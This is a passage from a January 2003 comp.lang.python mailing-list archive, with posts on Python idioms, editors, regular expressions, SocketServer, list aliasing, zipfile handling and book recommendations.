but beyond the call of duty to completely stop mentioning them.



From tecargile at hotmail.com  Thu Jan 16 09:51:06 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 16 Jan 2003 06:51:06 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org>
Message-ID: <8b67aef5.0301160651.6f5b9ebc@posting.google.com>

Mike Meyer <mwm at mired.org> wrote in message news:<x7lm1vupld.fsf at guru.mired.org>...
> Mathew Yeates <mathew at fugue.jpl.nasa.gov> writes:
> 
> > Is there an equivalent in python? What is the
> > bast way to distibute a python script without
> > knowing the users path to the python executable?
> 
> The recommended approach is to use:
> 
> #!/usr/bin/env python
> 
> which will find python no matter where it is if it's in the users path.
> 
>         <mike

The '#!/usr/bin/env python' is an approach alright, but I don't
see it as 'The recommended' approach.  It also has caveats associated.
See FAQ 4.63. It also does not seem to answer the question asked
in the original posting.

Hope this helps,

Tim



From mlh at furu.idi.ntnu.no  Wed Jan 22 22:49:10 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 03:49:10 +0000 (UTC)
Subject: Interleaved commands and options with optparse?
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>  <BA54C839.2F3FE%goodger@python.org>  <slrnb2upbe.d9h.mlh@furu.idi.ntnu.no>
Message-ID: <slrnb2uphm.d9h.mlh@furu.idi.ntnu.no>

In article <slrnb2upbe.d9h.mlh at furu.idi.ntnu.no>, Magnus Lie Hetland wrote:
[snip]
>Indeed. Quite useful. This really ought to be in the docs.

And while I'm at it -- it ought to be an argument to the constructor,
just like, for example, parser.usage (and most of the other
attributes, it seems).

Anyone think that submitting a patch for this would be a bad idea?

-- 
Magnus Lie Hetland
http://hetland.org



From andy at eastonwest.co.uk  Sun Jan 26 07:57:10 2003
From: andy at eastonwest.co.uk (andy)
Date: Sun, 26 Jan 2003 12:57:10 +0000
Subject: Iterating all files in a directory
In-Reply-To: <1043544003.4943.28.camel@refugeeMedia>
References: <1043544003.4943.28.camel@refugeeMedia>
Message-ID: <200301261257.10827.andy@eastonwest.co.uk>

On Sunday 26 Jan 2003 1:20 am, Mongryong wrote:
> How can iterate through all the files in a directory?
>
> ie. obtain a list of all the file's name
>
> Thanks.


import os

for file in os.listdir("./"):
    print file


Have a good look at the os module and its submodule path.  Note that 
os.listdir() returns a complete list of the files in the subdirectory, and 
that no file specification is necessary, or allowed.  Be aware that there may 
be issues with the handling of unicode characters in filenames.

hope this helps
-andyj





From peter at engcorp.com  Thu Jan 16 13:03:31 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 13:03:31 -0500
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>
		<b03sui$shn$1@news.netpower.no>
		<m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>
		<b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de>
		<3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122>
		<3E26BA12.A8E9260B@engcorp.com> <mailman.1042738235.28171.python-list@python.org>
Message-ID: <3E26F3F3.928C67A5@engcorp.com>

"Christopher A. Craig" wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> 
> > Please don't try to change history.  You're conveniently leaving out
> > part of the query.  An accurate quotation is this:
> 
> The message you quoted
> (<4OcV9.12866$ym5.2006 at afrodite.telenet-ops.be>) was posted at
> Wed, 15 Jan 2003 13:50:08 MET according to Telenet
> 
> The message Bengt quoted
> (<vIcV9.12859$ym5.1964 at afrodite.telenet-ops.be>) was posted at
> Wed, 15 Jan 2003 13:44:11 MET according to Telenet
> 
> There was only 6 minutes between them, but he is not trying to change
> history.

I thought there might be a case of cancelled posts involved... 
I never saw the original, I guess, since the first one I saw already
included the correction.

Usenet...  and users thereof...  ;-)

-Peter



From logistix at zworg.com  Thu Jan 16 23:19:01 2003
From: logistix at zworg.com (logistix)
Date: 16 Jan 2003 20:19:01 -0800
Subject: Warning! Newbie issue - Impersonating a user on Win32
References: <mailman.1042650398.19724.python-list@python.org>
Message-ID: <bdb5b58f.0301162019.55d545b8@posting.google.com>

Try adding your account to "Act as part of the operating system" in
the Local Security Policy.



From nospam at bigfoot.com  Wed Jan 29 07:22:51 2003
From: nospam at bigfoot.com (Gillou)
Date: Wed, 29 Jan 2003 13:22:51 +0100
Subject: Boa constructor  "Error on startup"
References: <uvg08fk6n.fsf@rk-speed-rugby.dk>
Message-ID: <b18gcd$229c$1@norfair.nerim.net>

"Brian Elmegaard" <brian at rk-speed-rugby.dk> a ?crit dans le message de news:
uvg08fk6n.fsf at rk-speed-rugby.dk...
> Hi,
>
> I just wanted to give Boa Constructor a try, so I installed v 0.2.0 on
> my win2000 running python 2.2.2 and wxpython 2.4.0.2.
>
> I get a message box entitled "Error on startup" with the message
> "Global name 'string' is not defined" when I try to run boa.py or
> boa.pyw.
>
> What should I do?
>
> tia,
> --
> Brian (remove the sport for mail)
> http://www.et.dtu.dk/staff/be

Go to the bug tracker for that project from
http://sourceforge.net/projects/boa-constructor
Give more details on your bug if you record it (i.e. the full Python
traceback)

--Gilles






From syver-en+usenet at online.no  Sat Jan 18 18:46:28 2003
From: syver-en+usenet at online.no (Syver Enstad)
Date: 19 Jan 2003 00:46:28 +0100
Subject: Dos calls in Python
References: <3e29a7ba_3@corp.newsgroups.com>
Message-ID: <uvg0mkomj.fsf@online.no>

"Bill Walker" <kwalker at earth1.net> writes:

> Anyway to call dos interrupts from python? I would like to change to
> graphics screen mode and call the pixel plot routines in the BIOS to
> plot
> 
> some graphs..

If you are running under windows, using Pygame would be a way to
achieve what you want. Pixelplotting and using fullscreen
mode. (Pygame works by using directX under the hood).

http://www.pygame.org
 

-- 

Vennlig hilsen 

Syver Enstad



From cpbotha at i_triple_e.org  Sun Jan  5 14:59:56 2003
From: cpbotha at i_triple_e.org (Charl P. Botha)
Date: Sun, 5 Jan 2003 19:59:56 +0000 (UTC)
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org> <slrnb1gfvp.1ga.davecook@localhost.localdomain> <mailman.1041777729.13860.python-list@python.org>
Message-ID: <ava2rs$j2a$1@news.tudelft.nl>

In article <mailman.1041777729.13860.python-list at python.org>, 
Laura Creighton wrote:
>> In article <mailman.1041771677.3260.python-list at python.org>, Nadav Horesh
>> wrote:
>> 
>> > As in IDLE -- try ALT-/
>> 
>> AFAIK, the only way to do this in emacs (without elisp programming) would be
>> e.g. to open the module your working with in another buffer.
> 
> I have some happy news for you.  If you put this line in your .emacs
> 
> (global-set-key [f3]       'dabbrev-expand)
> 
> you can get autocompleting when you press the f3 key.  Bind it to
> whatever you prefer ...

AFAIK, alt-/ is the default binding for dabbrev, which means your post is
now "-1 redundant", or whatever the correct moderation parlance is these
days.  

In anycase, as far is I understood, that's not exactly what the original
poster described.  dabbrev just completes on the grounds of what's in
current buffers, whereas the original poster (at least according to his
posting) wanted something a tad more intelligent, e.g. class.b<complete>
would suggest all members of "class" that start with "b".  The ipython shell
does this for python.  The emacs java-mode does this for java as well if I
understand correctly.

-- 
charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/



From cnetzer at mail.arc.nasa.gov  Tue Jan 21 21:45:38 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 21 Jan 2003 18:45:38 -0800
Subject: iterating in reverse
In-Reply-To: <f57664b9.0301201707.1aca87a1@posting.google.com>
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042798054.23362.python-list@python.org> <f57664b9.0301201707.1aca87a1@posting.google.com>
Message-ID: <200301220245.SAA02657@mail.arc.nasa.gov>

On Monday 20 January 2003 17:07, Jonathan P. wrote:
> Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote in message
> news:<mailman.1042798054.23362.python-list at python.org>...
>
> > ~~~~~~~~~~~~~
> > seq = "the quick brown fox jumped over the lazy dog"
> > for i in xrange( len( seq ) ):
> >    forward_iter = seq[i]
> >    backward_iter = seq[-(i + 1)]
> >    pass # do whatever you need
> > ~~~~~~~~~~~~~
> >
> > In this case, you don't copy or generate any new lists at all, so
> > it should be quite quick.
>
> Chad, I think this is the best solution so far.
> Clean and fast and _obvious_.  So much so that I'd
> like to kick myself for not coming up with that
> sooner. Sigh...

Thanks, and glad to be of help.  Most of the credit should go to
whomever I stole the idea from. :)  (Paul Rubin, I think)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From pyth at devel.trillke.net  Sat Jan  4 12:07:06 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 4 Jan 2003 18:07:06 +0100
Subject: Best Python editor (under Linux)
In-Reply-To: <av6v8k$h18$0@216.39.172.122>; from bokr@oz.net on Sat, Jan 04, 2003 at 03:40:04PM +0000
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122>
Message-ID: <20030104180706.Q2841@prim.han.de>

Bengt Richter wrote:
> On Fri, 03 Jan 2003 19:09:08 -0000, Steve Lamb <grey at despair.dmiyu.org> wrote:
> 
> >On Fri, 03 Jan 2003 19:23:23 +0100, Martin Christensen
> ><knightsofspamalot-factotum at gvdnet.dk> wrote:
> >> What's more interesting, it looks like the vi camp is starting to chase
> >> Emacs, because the things that are being implemented for Vim is exactly what
> >> we've been doing all along for Emacs. Ironic, isn't it?
> >
> >    I doubt we'll ever see a newsreader and email client in vim's scripting
> >lanuage.  BTW, pick one.  It has four that I am aware of and three of them are
> >discussed here heavilty.  Perl, Python and Ruby.  As I said before, it is the
> >penchant for craming everything and the kitchen sink into the editor which has
> >no business being there.
> 
> Maybe a different concept of the "craming" would help. IOW, ISTM letting
> "everything and and the kitchen sink" be accessible through an editor interface
> interface does not contitute "craming" those things into the editor.
> 
> News readers and email clients have to be written with a lot text manipulation
> features that have much in common with primitives used in writing editors, so if
> you wanted to write a full-featured and extensible news reader or email client,
> what route would you take?
> 
> Suppose there were a Python module called tme.py which you could import and get
> all kinds of handy classes for holding chunks of text and methods for manipulating
> them, and tapping into file objects as sources and sinks, etc., etc., would you
> not tend to use that for your news reader or email client project?
> I'll assume you would ;-)

me, too :-)

> Ok, now suppose tme.py when run as a program started an interactive shell that
> presented a nicely featured editor, which happened to have some simple editing
> features you wanted for composing email or news posts, etc., so the basic
> composition problem was solved. Would you build on this interface?

If it would allow to embed e.g. a code-editor-ui into another ui then i
would probably build on it.  Example: GUI-editing widgets are often
allowed to be placed into another widget.  side question: 
is this possible at all with curses and 'vim'?  

> BTW, FWIW, I cut my editing teeth on TECO, but I tend to use vim (or vi for non-gui) lately,
> unless I'm using the builtin for MSVC++6's IDE (which (the IDE) is hard to beat for stepping
> through code). I guess I will have to move to emacs for real geek creds though ;-)

or you write tme.py :-)

    holger

--
"Why are people killing each other when there is so much fun stuff
 to be had through friendly cooperation?" (Bengt Richter on c.l.py)




From tjreedy at udel.edu  Mon Jan 20 12:58:26 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 20 Jan 2003 12:58:26 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net>
Message-ID: <h0GdnYb2QM5QqrGjXTWc3A@comcast.com>

"Hans Nowak" <wurmy at earthlink.net> wrote in message
news:Z2DW9.1203$Sv3.158990 at newsread1.prod.itd.earthlink.net...
> Terry Reedy wrote:
>
> [join method]
> > And likewise, admitting that it is a bit ugly, at least to some,
> > is no exclusion to thinking that it is very handy to have it
> > directly available, just like its quasi-inverse, .split(),
> > and with the same syntax.
>
> If the join operation is done by calling a method on the separator,
I would
> expect the same on the split operation:
>
>    " ".split("a b c")
>    # should yield ["a", "b", "c"]
>
> ...but for some reason, that didn't make it into the design. ;-)

When I wrote the above, I though about that possibility, but having
written enough for one day, refrained from opening a new can of worms.
The problem is that 'whitespace', the most commonly desired separator
(tho never a joiner - which is why I said 'quasi-'), is a concept or
pattern, rather than a specific string (much like 'iterable' is not a
specific type).  Aside from this, I would prefer that join and split
be more inverse-like, so the s == sep.join(sep.split(s)).  But of
course, sep.split(sep.join(seq)) could not equal seq in type unles seq
were a list to start with.

Terry J. Reedy





From aleax at aleax.it  Tue Jan 28 05:00:55 2003
From: aleax at aleax.it (Alex Martelli)
Date: Tue, 28 Jan 2003 10:00:55 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net> <mailman.1043723992.21150.python-list@python.org> <b151vs$qbr$1@wheel2.two14.net> <mailman.1043737792.4709.python-list@python.org>
Message-ID: <rxsZ9.126669$AA2.5317615@news2.tin.it>

Cliff Wells wrote:
   ...
> Well, if conciseness is the goal, I'm shocked that no one has suggested
> the obvious and practically idiomatic:
> 
> if filter(None, [match for match in [re.search(pattern1, target)]]):
>     print "1", match.string
> elif filter(None, [match for match in [re.search(pattern2, target)]]):
>     print "2", match.string
> else:
>     print "no match"

Weird to use filter AND list comprehension when just the latter
would suffice,,,:

if [match for match in [re.search(pattern1,target)] if match]:

etc.  The if clause in the list comprehension is useful here.


Personally, I consider this idiom a (slight) _abuse_ of list
comprehensions -- specifically, of the "implementation detail"
that any identifier that gets bound in the for clause of a
list comprehension gets bound in the SURROUNDING scope, i.e.,
a list comprehension does not define a new nested scope.

I guess that, if the idiom becomes a popular replacement for
the missing assign-and-test, all future releases of Python
will be practically constrained to let list comprehensions
always "pollute" the surrounding scope in this way.  But this
does not strike me, personally, as a very nice prospect anyway.


Alex




From lac at strakt.com  Thu Jan 23 19:24:57 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 01:24:57 +0100
Subject: Books for newbies 
In-Reply-To: Message from Tyson Tate <nilobject@mac.com> 
   of "Thu, 23 Jan 2003 15:56:05 PST." <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com> 
References: <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com> 
Message-ID: <200301240024.h0O0OvjL024736@ratthing-b246.strakt.com>

> My first post! (Everyone, now, "noob!")

Welcome:

> 
> Anyhow, I just first started to dig into Python yesterday and I must 
> say I'm quite impressed. I like it's easy learning curve, however, I've 
> now exhausted my newbie tutorials and I'm ready to start investing to 
> go further in Python. I was wondering what are some recommended books 
> are. I'm looking for books that assume general programming knowledge 
> (OOP, classes, basic concepts, etc) and cover everything from the 
> basics to more advanced topics.

http://www.awaretek.com/plf.html has 24 book reviews by Ron Stephens.
I'm fond of David Beazley's The Essential Python Reference 2nd edition.

> 
> I was unable to find a way to search the list archives from 
> http://mail.python.org/mailman/listinfo/python-list, so I'm sorry if 
> this is one of the most common posts. 

The best way to do this is via google groups.   Keep this as a bookmark:
http://groups.google.com/advanced_group_search?as_ugroup=comp.lang.python

> I'm also curious as to where some good repositories of example code and 
> re-useable methods/procedures/whatever are.

here is one place.
http://aspn.activestate.com/ASPN/Python/Cookbook/
here is another.
http://www.vex.net/parnassus/

Remember to check the standard library before you look for something 
someplace else, because there is a lot that is already included ...

> 
> TIA,
> Tyson
> 
> 
> --
> Tyson Tate, Editor
> Entropy Magazine
> "Nourishment For The Starved."
> http://www.entropymag.net
> 

Good luck,
Laura Creighton




From abelikov72 at hotmail.com  Fri Jan 31 17:05:48 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Fri, 31 Jan 2003 22:05:48 GMT
Subject: Syntax checking python...
Message-ID: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>

In other languages, I can receive syntax errors without the script having
to execute. Please do not let this hurt your feelings. I merely bring up
the other languages as an example of what I mean and what I am used to.

In Python, I will not receive a syntax error until the interpreter runs
right into it. This is not very efficient for me during my development.

Is there a way I can be notified of my typos without having to run the
interpreter up to those mistakes? That is my question. No smartasses.




From BPettersen at NAREX.com  Fri Jan 24 13:40:54 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 11:40:54 -0700
Subject: db files
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1DB@admin56.narex.com>

> From: Bastien Pierre [mailto:blaktyger at sympatico.ca] 
> 
> "Blaktyger" <blaktyger at hotmail.com> wrote in message
> > I would like to know if it's possible to access to a file database
> > (filename.db or filename.dbf)via Python or wxPython. If so, how?
>
> I'm using windows XP anf the files are created with Borland C++.
> Can I create db files with Python?

Still not enough information... I doubt most people here know about
"Borland C++", and especially what kind of database files it writes. It
would be helpful if you could tell us (either summarily, or an URL
<wink>).

-- bjorn




From hwlgw at hotmail.com  Wed Jan 15 13:45:38 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 10:45:38 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <2c60a528.0301150752.7078ca77@posting.google.com>
Message-ID: <cb035744.0301151045.1adc4084@posting.google.com>

[Andrew Clover]
> ...
> Can send you client JavaScript and server Python code that implements
> this if it might help.

JavaScript is not an option for me, but thank you.  I have used md5
before it is easy when you have the Python Standard Library book with
the examples.  I had a look on your site and I like your form.py
already!



From nhodgson at bigpond.net.au  Fri Jan 31 20:38:29 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sat, 01 Feb 2003 01:38:29 GMT
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <m3of5yf6hs.fsf@ferret.object-craft.com.au> <b1edvi$iso$1@Xenon.Stanford.EDU>
Message-ID: <pyF_9.805$DC6.3532@news-server.bigpond.net.au>

Alan Morgan:

> It's obvious.  You had the arguments to calculate_weekly_wage backwards.
>
> You should have written
>
>     printf(" -> wage (including overtime) is $%.2f.\n",
>    calculate_weekly_wage(rate, hours));

   No, it's obvious that there should be explicit Rate and TimeDelta classes
with well defined combining operators, no conversion operators, and an
operator- that takes a TimeDelta on the left hand side and a float on the
RHS. But no operator- for the other way around.

   Neil





From whisper at oz.net  Fri Jan 31 04:32:19 2003
From: whisper at oz.net (David LeBlanc)
Date: Fri, 31 Jan 2003 01:32:19 -0800
Subject: Help with Regular Expressions matching
In-Reply-To: <1044001931.12577.21.camel@lothlorien>
Message-ID: <GCEDKONBLEFPPADDJCOEAEPAHLAA.whisper@oz.net>

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Ian Bicking
> Sent: Friday, January 31, 2003 0:32
> To: ajit at cc.iitb.ac.in
> Cc: python-list at python.org
> Subject: Re: Help with Regular Expressions matching
>
>
> On Fri, 2003-01-31 at 01:26, ajit k jena wrote:
> > Someone in mailman mailing list suggested a regular expression of the
> > form:
> >
> > 	^.*?@(?!your\.domain\.com$)
>

import re

pat = r'^.*?@\w?\.?domain\.com$'

mat = re.compile(pat)

m = mat.match('a at b.domain.com')
if m: print 'b',  m.group(0) # match

m = mat.match('a at c.domain.com')
if m: print 'c', m.group(0) # match

m = mat.match('a at domain.com')
if m: print 'domain', m.group(0) # match

m = mat.match('a at site.com')
if m: print 'no', m.group(0) # no match - no output

m = mat.match('a at mydomain.com')
if m: print 'no', m.group(0) # no match - no output

m = mat.match('a at .domain.com')
if m: print 'oops', m.group(0) # match - illegal email address.

will match any at something.domain.com, any at .domain.com (oops!) or
any at domain.com exactly.

Writing little test scripts like this with the re doc open in a webbrowser
is a great way to figure out how re's work. Note the one case where
any at .domain.com matches incorrectly should be tested for separately if
necessary (probably not since I don't think it will route in the first
place).

HTH,

Dave LeBlanc
Seattle, WA USA





From drjohn at 21cn.edu.cn  Wed Jan  1 15:59:04 2003
From: drjohn at 21cn.edu.cn (Å£·à)
Date: Thu, 2 Jan 2003 04:59:04 +0800
Subject: Q: How to UDPServer ??
Message-ID: <auvks1$atb$1@mail.cn99.com>

I have some problems in the quote_srv.py I write as below, quote server on
TCP works well, but I can get no message on the UDP mode, are there some
problems in the QutoeMyxinHandler ??
---------------------------------
#!/usr/bin/env python

# File: quote_srv.py
# Author:   John Fractal <JohnFractal at 163.com>
# Description:
#   This program is just one of my exercises while learning socket
# programming under Python.
#

from SocketServer import *

response = 'Quote Server by John Fractal <JohnFractal at 163.com>'
quote_port = 17

class QuoteMixinHandler:
    def handle(self):
        self.wfile.write(response)
        self.wfile.close()

class TCPQuoteHandler(QuoteMixinHandler, StreamRequestHandler):
    pass

class UDPQuoteHandler(QuoteMixinHandler, DatagramRequestHandler):
    pass

if __name__=='__main__':
    UDPQuoteSrv = UDPServer( ('', quote_port), UDPQuoteHandler )
    TCPQuoteSrv = TCPServer( ('', quote_port), TCPQuoteHandler )

    UDPQuoteSrv.server_activate()
    TCPQuoteSrv.serve_forever()






From toni at soth.at  Sat Jan 18 21:18:54 2003
From: toni at soth.at (Toni Andjelkovic)
Date: 19 Jan 2003 02:18:54 GMT
Subject: HTTPS Server
References: <avu4qn$md3$1@newsreader1.netway.at>
Message-ID: <slrnb2k2t5.em5.toni@outpost.soth.at>

In article <avu4qn$md3$1 at newsreader1.netway.at>, Sergio Lobo wrote:
> I am looking for a way to change my simple HTTP Server into a HTTPS server.
> My project is being developed using Jython.

Consider using stunnel: http://stunnel.mirt.net/.

Cheers,
-- 
Toni Andjelkovic
<toni at soth.at>




From andrew-pythonlist at puzzling.org  Sun Jan 12 21:42:53 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 13 Jan 2003 13:42:53 +1100
Subject: map() question...
In-Reply-To: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <20030113024253.GC15720@frobozz.local>

On Sun, Jan 12, 2003 at 11:50:50PM +0000, Kevin Ethridge wrote:
> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])

Simple -- print isn't a function :)

It's a statement, which is why you can do
    print 'Hi!'
without parens.

This works:

    def prnt(val):
        print val
    
    map(prnt, ['Have', 'a', 'great', 'day.'])

Alternatively, you could use sys.stdout.write as the function.

-Andrew.





From nobody at nowhere.near.here  Mon Jan 27 11:47:17 2003
From: nobody at nowhere.near.here (nobody)
Date: Mon, 27 Jan 2003 16:47:17 -0000
Subject: zipfile module and exceptions
Message-ID: <b13nqk$irb$1@newsg3.svr.pol.co.uk>

I have following simple code using zipfile module:

            try:
                z = zipfile.ZipFile(file, "r")

                if z.testzip() is None:
                    self.listBox2.Append(file)
                else:
                    self.listBox3.Append(file)
                z.close()

            except (IOError, zipfile.BadZipfile):
                self.listBox3.Append(file)
                z.close()

The problem is that in the except clause the z.close() fails because the z
is not known. Am I not supposed to close the file in the case of IOError? If
not the solution is simple... Any ideas?





From sdeibel at wingide.com  Wed Jan 15 14:43:26 2003
From: sdeibel at wingide.com (Stephan R.A. Deibel)
Date: Wed, 15 Jan 2003 14:43:26 -0500 (EST)
Subject: Python Success Stories
Message-ID: <Pine.LNX.4.30.0301151432430.1401-100000@pangolin.wingide.com>

Hi,

Archaeopteryx sponsors a Python Advocacy website and we've just
released the first batch of Python Success Stories that we've
collected as part of this effort:

http://pythonology.org/success

Many of these will also appear in printed form in a booklet from
O'Reilly Associates.

The stories can be reused on other websites.  If you are interest
in doing so please see:

http://pythonology.com/success&help=1

Or, if you want to contribute your own story, see:

http://pythonology.com/successguide

Thanks,

- Stephan

------------------------------------------------------------------------
Wing IDE for Python                          Archaeopteryx Software, Inc
www.wingide.com                              Take Flight!





From vanevery at 3DProgrammer.com  Thu Jan 30 16:17:00 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:17:00 GMT
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043950983.29401.python-list@python.org>
Message-ID: <gDg_9.5337$Wu1.408645@newsread1.prod.itd.earthlink.net>

holger krekel wrote:
> With C++ & Java i never really
> cared that much for fine-grained tests.  It was just to
> painful

I write such tests in C++ all the time.  What's the big deal?  How are you
going to know your 3D graphics math is correct unless you actually display
it on the screen and take a look-see?  Sure, my coding progress is slow.
But it's also bug-free.  That's the fully loaded cost of development: you
can either pay less now or more later.  I agree that testing is what people
need to do, but it's a totally language-neutral solution.

> especially during refactoring.

Write a small amount of new code.  Leave the small amount of old code and
the old test alone.  You might need to go *back* to that tried-and-true
it-works it's-been-tested thing!  Only refactor something out of existence
when you're sure that you'll never need it again and it's The Correct Thing
To Do.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From mcfletch at rogers.com  Wed Jan 29 10:59:32 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 29 Jan 2003 10:59:32 -0500
Subject: simple math don't work like I expected
In-Reply-To: <1ac767fa.0301290739.3f20d917@posting.google.com>
References: <1ac767fa.0301290739.3f20d917@posting.google.com>
Message-ID: <3E37FA64.4030202@rogers.com>

What you're seeing when you use str on the calculated float is a rounded 
value, try using repr instead...

 >>> a=1.99
 >>> while a < 2.01:
...     if (a-1)<1:
...         print(repr(a-1)+'<1')
...     a=a+0.005
...
0.98999999999999999<1
0.99499999999999988<1
0.99999999999999978<1
 >>> repr( 0.005)
'0.0050000000000000001'

Enjoy,
Mike


Elvis Zaichenok wrote:

>Please, could somebody explain why things work like this? Why 1.0<1?
>
>
>Python 2.2 (#1, Apr 12 2002, 15:29:57)
>[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-109)] on linux2
>Type "help", "copyright", "credits" or "license" for more information.
>  
>
>>>>a=1.99
>>>>while a<2.01:
>>>>        
>>>>
>...     if (a-1)<1:
>...         print(str(a-1)+'<1')
>...     a=a+0.005
>...
>0.99<1
>0.995<1
>1.0<1
>
>
>Thanks.
>  
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From mgarcia at cole-switches.com  Mon Jan 20 15:35:02 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Mon, 20 Jan 2003 20:35:02 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>
Message-ID: <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>

On 20 Jan 2003 11:06:47 -0800, marcin at finisar.com (Marcin
Matuszkiewicz) wrote:

>In the code below I created a two dimensional list in two ways.  List
>b behaves I expect, list a does not.  Could someone explain it?
>
>>>> a=[[0]*4]*2
>>>> a
>[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>> a[0][0]=1
>>>> a
>[[1, 0, 0, 0], [1, 0, 0, 0]]
>>>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
>>>> b[0][0]=1
>>>> b
>[[1, 0, 0, 0], [0, 0, 0, 0]]
>>>>
>
>Thanks,
>
>Marcin

safe way to create a 2 dimensional list initialized with zeros

>>> a = [ [0] * 2 for _ in range(3) ]
>>> a
[[0, 0], [0, 0], [0, 0]]
>>> x = 0
>>> for i in range(3):
... 	for j in range(2):
... 		a[i][j] = x
... 		x += 1
... 		
>>> a
[[0, 1], [2, 3], [4, 5]]

[0] * 2 is a safe way to create a 2 dimensional list, because of the
immutability of 0.

[0] * 2 is not immutable, so [[0] * 2] * 3 is NOT a safe way to create
a 2 dimensional list.

[ x for y in z ] is called a "list comprehension".  It is a recent
addition to Python, and quite handy, but a little strange looking.

The underscore "_" is a standard idiom for a thrown-away value.  This
works just as well:

a = [ [0] * 2 for junk in range(3) ]

Manuel



From pyth at devel.trillke.net  Sun Jan  5 17:19:52 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 5 Jan 2003 23:19:52 +0100
Subject: Function calls and reflection
In-Reply-To: <67446a0a.0301051338.147661dc@posting.google.com>; from boethius@techie.com on Sun, Jan 05, 2003 at 01:38:17PM -0800
References: <67446a0a.0301051338.147661dc@posting.google.com>
Message-ID: <20030105231952.C17919@prim.han.de>

Boethius wrote:
> Can a function tell which function / method called it?

you can get to the name of the caller's function with 
something like 
(python2.2)
    >>> def f():
           g()

    >>> def g():
           import inspect
           print inspect.currentframe(1).f_code.co_name

    >>> f()
    f

But ASFAIK there is no direct way to get to the function
*object*.  With the following snippet you might get
to a calling function if it is defined at the module level
(e.g. it doesn't get to instance methods).

def determine_calling_function():
    import inspect
    frame = inspect.currentframe(1)
    return frame.f_globals[frame.f_code.co_name]

I am not sure if the frame object provides enough
information to unambigously get to the object
currently executing in it.  

regards,

    holger


-- 
"Why are people killing each other when there is so much fun stuff
 to be had through friendly cooperation?" (Bengt Richter on c.l.py)




From sholden at holdenweb.com  Fri Jan  3 09:56:41 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 3 Jan 2003 09:56:41 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com>
Message-ID: <0zhR9.7019$Gv4.4628@fe08>

"Peter Hansen" <peter at engcorp.com> wrote ...
